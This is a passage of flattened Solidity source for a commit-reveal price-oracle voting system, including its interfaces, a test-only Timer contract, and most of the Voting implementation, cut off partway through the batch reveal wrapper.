* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes32 hash
) external virtual;
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is stored on chain.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(Commitment[] memory commits) public virtual;
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes32 hash,
bytes memory encryptedVote
) public virtual;
/**
* @notice snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times but each round will only every have one snapshot at the
* time of calling `_freezeRoundVariables`.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature) external virtual;
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price is being voted on.
* @param price voted on during the commit phase.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
int256 salt
) public virtual;
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more information on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(Reveal[] memory reveals) public virtual;
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests `PendingRequest` array containing identifiers
* and timestamps for all pending requests.
*/
function getPendingRequests()
external
view
virtual
returns (VotingAncillaryInterface.PendingRequestAncillary[] memory);
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view virtual returns (VotingAncillaryInterface.Phase);
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view virtual returns (uint256);
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the
* call is done within the timeout threshold (not expired).
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequest[] memory toRetrieve
) public virtual returns (FixedPoint.Unsigned memory);
// Voting Owner functions.
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress) external virtual;
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public virtual;
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public virtual;
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public virtual;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Universal store of current contract time for testing environments.
*/
contract Timer {
uint256 private currentTime;
constructor() public {
currentTime = now; // solhint-disable-line not-rely-on-time
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set `currentTime` to.
*/
function setCurrentTime(uint256 time) external {
currentTime = time;
}
/**
* @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode.
* Otherwise, it will return the block timestamp.
* @return uint256 for the current Testable timestamp.
*/
function getCurrentTime() public view returns (uint256) {
return currentTime;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Interface that voters must use to Vote on price request resolutions.
*/
abstract contract VotingAncillaryInterface {
struct PendingRequestAncillary {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
}
// Captures the necessary data for making a commitment.
// Used as a parameter when making batch commitments.
// Not used as a data structure for storage.
struct CommitmentAncillary {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
bytes32 hash;
bytes encryptedVote;
}
// Captures the necessary data for revealing a vote.
// Used as a parameter when making batch reveals.
// Not used as a data structure for storage.
struct RevealAncillary {
bytes32 identifier;
uint256 time;
int256 price;
bytes ancillaryData;
int256 salt;
}
// Note: the phases must be in order. Meaning the first enum value must be the first phase, etc.
// `NUM_PHASES_PLACEHOLDER` is to get the number of phases. It isn't an actual phase, and it should always be last.
enum Phase { Commit, Reveal, NUM_PHASES_PLACEHOLDER }
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) public virtual;
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is stored on chain.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(CommitmentAncillary[] memory commits) public virtual;
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash,
bytes memory encryptedVote
) public virtual;
/**
* @notice snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times but each round will only every have one snapshot at the
* time of calling `_freezeRoundVariables`.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature) external virtual;
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price is being voted on.
* @param price voted on during the commit phase.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) public virtual;
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more information on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(RevealAncillary[] memory reveals) public virtual;
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests `PendingRequest` array containing identifiers
* and timestamps for all pending requests.
*/
function getPendingRequests() external view virtual returns (PendingRequestAncillary[] memory);
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view virtual returns (Phase);
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view virtual returns (uint256);
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the
* call is done within the timeout threshold (not expired).
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequestAncillary[] memory toRetrieve
) public virtual returns (FixedPoint.Unsigned memory);
// Voting Owner functions.
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress) external virtual;
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public virtual;
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public virtual;
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public virtual;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/VotingInterface.sol";
import "../interfaces/VotingAncillaryInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "./Registry.sol";
import "./ResultComputation.sol";
import "./VoteTiming.sol";
import "./VotingToken.sol";
import "./Constants.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
/**
* @title Voting system for Oracle.
* @dev Handles receiving and resolving price requests via a commit-reveal voting scheme.
*/
contract Voting is
Testable,
Ownable,
OracleInterface,
OracleAncillaryInterface, // Interface to support ancillary data with price requests.
VotingInterface,
VotingAncillaryInterface // Interface to support ancillary data with voting rounds.
{
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using VoteTiming for VoteTiming.Data;
using ResultComputation for ResultComputation.Data;
/****************************************
* VOTING DATA STRUCTURES *
****************************************/
// Identifies a unique price request for which the Oracle will always return the same value.
// Tracks ongoing votes as well as the result of the vote.
struct PriceRequest {
bytes32 identifier;
uint256 time;
// A map containing all votes for this price in various rounds.
mapping(uint256 => VoteInstance) voteInstances;
// If in the past, this was the voting round where this price was resolved. If current or the upcoming round,
// this is the voting round where this price will be voted on, but not necessarily resolved.
uint256 lastVotingRound;
// The index in the `pendingPriceRequests` that references this PriceRequest. A value of UINT_MAX means that
// this PriceRequest is resolved and has been cleaned up from `pendingPriceRequests`.
uint256 index;
bytes ancillaryData;
}
struct VoteInstance {
// Maps (voterAddress) to their submission.
mapping(address => VoteSubmission) voteSubmissions;
// The data structure containing the computed voting results.
ResultComputation.Data resultComputation;
}
struct VoteSubmission {
// A bytes32 of `0` indicates no commit or a commit that was already revealed.
bytes32 commit;
// The hash of the value that was revealed.
// Note: this is only used for computation of rewards.
bytes32 revealHash;
}
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
/****************************************
* INTERNAL TRACKING *
****************************************/
// Maps round numbers to the rounds.
mapping(uint256 => Round) public rounds;
// Maps price request IDs to the PriceRequest struct.
mapping(bytes32 => PriceRequest) private priceRequests;
// Price request ids for price requests that haven't yet been marked as resolved.
// These requests may be for future rounds.
bytes32[] internal pendingPriceRequests;
VoteTiming.Data public voteTiming;
// Percentage of the total token supply that must be used in a vote to
// create a valid price resolution. 1 == 100%.
FixedPoint.Unsigned public gatPercentage;
// Global setting for the rate of inflation per vote. This is the percentage of the snapshotted total supply that
// should be split among the correct voters.
// Note: this value is used to set per-round inflation at the beginning of each round. 1 = 100%.
FixedPoint.Unsigned public inflationRate;
// Time in seconds from the end of the round in which a price request is
// resolved that voters can still claim their rewards.
uint256 public rewardsExpirationTimeout;
// Reference to the voting token.
VotingToken public votingToken;
// Reference to the Finder.
FinderInterface private finder;
// If non-zero, this contract has been migrated to this address. All voters and
// financial contracts should query the new address only.
address public migratedAddress;
// Max value of an unsigned integer.
uint256 private constant UINT_MAX = ~uint256(0);
// Max length in bytes of ancillary data that can be appended to a price request.
// As of December 2020, the current Ethereum gas limit is 12.5 million. This requestPrice function's gas primarily
// comes from computing a Keccak-256 hash in _encodePriceRequest and writing a new PriceRequest to
// storage. We have empirically determined an ancillary data limit of 8192 bytes that keeps this function
// well within the gas limit at ~8 million gas. To learn more about the gas limit and EVM opcode costs go here:
// - https://etherscan.io/chart/gaslimit
// - https://github.com/djrtwo/evm-opcode-gas-costs
uint256 public constant ancillaryBytesLimit = 8192;
bytes32 public snapshotMessageHash = ECDSA.toEthSignedMessageHash(keccak256(bytes("Sign For Snapshot")));
/***************************************
* EVENTS *
****************************************/
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
/**
* @notice Construct the Voting contract.
* @param _phaseLength length of the commit and reveal phases in seconds.
* @param _gatPercentage of the total token supply that must be used in a vote to create a valid price resolution.
* @param _inflationRate percentage inflation per round used to increase token supply of correct voters.
* @param _rewardsExpirationTimeout timeout, in seconds, within which rewards must be claimed.
* @param _votingToken address of the UMA token contract used to commit votes.
* @param _finder keeps track of all contracts within the system based on their interfaceName.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
uint256 _phaseLength,
FixedPoint.Unsigned memory _gatPercentage,
FixedPoint.Unsigned memory _inflationRate,
uint256 _rewardsExpirationTimeout,
address _votingToken,
address _finder,
address _timerAddress
) public Testable(_timerAddress) {
voteTiming.init(_phaseLength);
require(_gatPercentage.isLessThanOrEqual(1), "GAT percentage must be <= 100%");
gatPercentage = _gatPercentage;
inflationRate = _inflationRate;
votingToken = VotingToken(_votingToken);
finder = FinderInterface(_finder);
rewardsExpirationTimeout = _rewardsExpirationTimeout;
}
/***************************************
MODIFIERS
****************************************/
modifier onlyRegisteredContract() {
if (migratedAddress != address(0)) {
require(msg.sender == migratedAddress, "Caller must be migrated address");
} else {
Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry));
require(registry.isContractRegistered(msg.sender), "Called must be registered");
}
_;
}
modifier onlyIfNotMigrated() {
require(migratedAddress == address(0), "Only call this if not migrated");
_;
}
/****************************************
* PRICE REQUEST AND ACCESS FUNCTIONS *
****************************************/
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported. The length of the ancillary data
* is limited such that this method abides by the EVM transaction gas limit.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
*/
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public override onlyRegisteredContract() {
uint256 blockTime = getCurrentTime();
require(time <= blockTime, "Can only request in past");
require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier request");
require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data");
bytes32 priceRequestId = _encodePriceRequest(identifier, time, ancillaryData);
PriceRequest storage priceRequest = priceRequests[priceRequestId];
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId);
if (requestStatus == RequestStatus.NotRequested) {
// Price has never been requested.
// Price requests always go in the next round, so add 1 to the computed current round.
uint256 nextRoundId = currentRoundId.add(1);
priceRequests[priceRequestId] = PriceRequest({
identifier: identifier,
time: time,
lastVotingRound: nextRoundId,
index: pendingPriceRequests.length,
ancillaryData: ancillaryData
});
pendingPriceRequests.push(priceRequestId);
emit PriceRequestAdded(nextRoundId, identifier, time);
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function requestPrice(bytes32 identifier, uint256 time) public override {
requestPrice(identifier, time, "");
}
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return _hasPrice bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override onlyRegisteredContract() returns (bool) {
(bool _hasPrice, , ) = _getPriceOrError(identifier, time, ancillaryData);
return _hasPrice;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function hasPrice(bytes32 identifier, uint256 time) public view override returns (bool) {
return hasPrice(identifier, time, "");
}
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override onlyRegisteredContract() returns (int256) {
(bool _hasPrice, int256 price, string memory message) = _getPriceOrError(identifier, time, ancillaryData);
// If the price wasn't available, revert with the provided message.
require(_hasPrice, message);
return price;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function getPrice(bytes32 identifier, uint256 time) public view override returns (int256) {
return getPrice(identifier, time, "");
}
/**
* @notice Gets the status of a list of price requests, identified by their identifier and time.
* @dev If the status for a particular request is NotRequested, the lastVotingRound will always be 0.
* @param requests array of type PendingRequest which includes an identifier and timestamp for each request.
* @return requestStates a list, in the same order as the input list, giving the status of each of the specified price requests.
*/
function getPriceRequestStatuses(PendingRequestAncillary[] memory requests)
public
view
returns (RequestState[] memory)
{
RequestState[] memory requestStates = new RequestState[](requests.length);
uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime());
for (uint256 i = 0; i < requests.length; i++) {
PriceRequest storage priceRequest =
_getPriceRequest(requests[i].identifier, requests[i].time, requests[i].ancillaryData);
RequestStatus status = _getRequestStatus(priceRequest, currentRoundId);
// If it's an active request, its true lastVotingRound is the current one, even if it hasn't been updated.
if (status == RequestStatus.Active) {
requestStates[i].lastVotingRound = currentRoundId;
} else {
requestStates[i].lastVotingRound = priceRequest.lastVotingRound;
}
requestStates[i].status = status;
}
return requestStates;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function getPriceRequestStatuses(PendingRequest[] memory requests) public view returns (RequestState[] memory) {
PendingRequestAncillary[] memory requestsAncillary = new PendingRequestAncillary[](requests.length);
for (uint256 i = 0; i < requests.length; i++) {
requestsAncillary[i].identifier = requests[i].identifier;
requestsAncillary[i].time = requests[i].time;
requestsAncillary[i].ancillaryData = "";
}
return getPriceRequestStatuses(requestsAncillary);
}
/****************************************
* VOTING FUNCTIONS *
****************************************/
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) public override onlyIfNotMigrated() {
require(hash != bytes32(0), "Invalid provided hash");
// Current time is required for all vote timing queries.
uint256 blockTime = getCurrentTime();
require(
voteTiming.computeCurrentPhase(blockTime) == VotingAncillaryInterface.Phase.Commit,
"Cannot commit in reveal phase"
);
// At this point, the computed and last updated round ID should be equal.
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
require(
_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active,
"Cannot commit inactive request"
);
priceRequest.lastVotingRound = currentRoundId;
VoteInstance storage voteInstance = priceRequest.voteInstances[currentRoundId];
voteInstance.voteSubmissions[msg.sender].commit = hash;
emit VoteCommitted(msg.sender, currentRoundId, identifier, time, ancillaryData);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function commitVote(
bytes32 identifier,
uint256 time,
bytes32 hash
) public override onlyIfNotMigrated() {
commitVote(identifier, time, "", hash);
}
/**
* @notice Snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times, but only the first call per round into this function or `revealVote`
* will create the round snapshot. Any later calls will be a no-op. Will revert unless called during reveal period.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature)
external
override(VotingInterface, VotingAncillaryInterface)
onlyIfNotMigrated()
{
uint256 blockTime = getCurrentTime();
require(voteTiming.computeCurrentPhase(blockTime) == Phase.Reveal, "Only snapshot in reveal phase");
// Require public snapshot require signature to ensure caller is an EOA.
require(ECDSA.recover(snapshotMessageHash, signature) == msg.sender, "Signature must match sender");
uint256 roundId = voteTiming.computeCurrentRoundId(blockTime);
_freezeRoundVariables(roundId);
}
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price being voted on.
* @param price voted on during the commit phase.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) public override onlyIfNotMigrated() {
require(voteTiming.computeCurrentPhase(getCurrentTime()) == Phase.Reveal, "Cannot reveal in commit phase");
// Note: computing the current round is required to disallow people from revealing an old commit after the round is over.
uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime());
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
VoteInstance storage voteInstance = priceRequest.voteInstances[roundId];
VoteSubmission storage voteSubmission = voteInstance.voteSubmissions[msg.sender];
// Scoping to get rid of a stack too deep error.
{
// 0 hashes are disallowed in the commit phase, so they indicate a different error.
// Cannot reveal an uncommitted or previously revealed hash
require(voteSubmission.commit != bytes32(0), "Invalid hash reveal");
require(
keccak256(abi.encodePacked(price, salt, msg.sender, time, ancillaryData, roundId, identifier)) ==
voteSubmission.commit,
"Revealed data != commit hash"
);
// To protect against flash loans, we require snapshot be validated as EOA.
require(rounds[roundId].snapshotId != 0, "Round has no snapshot");
}
// Get the frozen snapshotId
uint256 snapshotId = rounds[roundId].snapshotId;
delete voteSubmission.commit;
// Get the voter's snapshotted balance. Since balances are returned pre-scaled by 10**18, we can directly
// initialize the Unsigned value with the returned uint.
FixedPoint.Unsigned memory balance = FixedPoint.Unsigned(votingToken.balanceOfAt(msg.sender, snapshotId));
// Set the voter's submission.
voteSubmission.revealHash = keccak256(abi.encode(price));
// Add vote to the results.
voteInstance.resultComputation.addVote(price, balance);
emit VoteRevealed(msg.sender, roundId, identifier, time, price, ancillaryData, balance.rawValue);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
int256 salt
) public override {
revealVote(identifier, time, price, "", salt);
}
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash,
bytes memory encryptedVote
) public override {
commitVote(identifier, time, ancillaryData, hash);
uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime());
emit EncryptedVote(msg.sender, roundId, identifier, time, ancillaryData, encryptedVote);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes32 hash,
bytes memory encryptedVote
) public override {
commitVote(identifier, time, "", hash);
commitAndEmitEncryptedVote(identifier, time, "", hash, encryptedVote);
}
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is emitted in an event.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(CommitmentAncillary[] memory commits) public override {
for (uint256 i = 0; i < commits.length; i++) {
if (commits[i].encryptedVote.length == 0) {
commitVote(commits[i].identifier, commits[i].time, commits[i].ancillaryData, commits[i].hash);
} else {
commitAndEmitEncryptedVote(
commits[i].identifier,
commits[i].time,
commits[i].ancillaryData,
commits[i].hash,
commits[i].encryptedVote
);
}
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function batchCommit(Commitment[] memory commits) public override {
CommitmentAncillary[] memory commitsAncillary = new CommitmentAncillary[](commits.length);
for (uint256 i = 0; i < commits.length; i++) {
commitsAncillary[i].identifier = commits[i].identifier;
commitsAncillary[i].time = commits[i].time;
commitsAncillary[i].ancillaryData = "";
commitsAncillary[i].hash = commits[i].hash;
commitsAncillary[i].encryptedVote = commits[i].encryptedVote;
}
batchCommit(commitsAncillary);
}
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more info on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(RevealAncillary[] memory reveals) public override {
for (uint256 i = 0; i < reveals.length; i++) {
revealVote(
reveals[i].identifier,
reveals[i].time,
reveals[i].price,
reveals[i].ancillaryData,
reveals[i].salt
);
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function batchReveal(Reveal[] memory reveals) public override {
RevealAncillary[] memory revealsAncillary = new RevealAncillary[](reveals.length);
